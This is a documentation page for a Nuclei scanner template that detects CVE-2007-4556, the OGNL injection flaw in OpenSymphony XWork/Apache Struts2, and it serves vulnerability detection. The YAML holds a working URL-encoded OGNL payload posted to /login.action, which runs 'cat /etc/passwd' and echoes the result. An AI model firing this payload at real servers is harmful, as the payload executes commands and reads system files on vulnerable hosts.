OpenSymphony XWork/Apache Struts2 - Remote Code Execution
ID: CVE-2007-4556
Severity: medium
Author: pikpikcu
Tags: cve,cve2007,apache,rce,struts,opensymphony
Description
Section titled “Description”Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for”m input beginning with a ”%{” sequence and ending with a ”}” character.
YAML Source
Section titled “YAML Source”id: CVE-2007-4556
info: name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution author: pikpikcu severity: medium description: | Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character. impact: | Remote code execution remediation: | Update to the latest version of Apache Struts2 reference: - https://www.guildhab.top/?p=2326 - https://nvd.nist.gov/vuln/detail/CVE-2007-4556 - https://cwiki.apache.org/confluence/display/WW/S2-001 - http://forums.opensymphony.com/ann.jspa?annID=54 - http://issues.apache.org/struts/browse/WW-2030 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P cvss-score: 6.8 cve-id: CVE-2007-4556 cwe-id: NVD-CWE-Other epss-score: 0.21361 epss-percentile: 0.96419 cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: opensymphony product: xwork tags: cve,cve2007,apache,rce,struts,opensymphony
http: - method: POST path: - "{{BaseURL}}/login.action"
body: | username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
headers: Content-Type: application/x-www-form-urlencoded
matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 490a0046304402204b9c4d327d7a3c9a1dda2e01bd500a0ada5bef92cb938adaebae0a549c99afcd02203c6a764134ebf6feb0921172e788606af62c4dbc97f28a58fdaae4908c6a7bc8:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2007/CVE-2007-4556.yaml"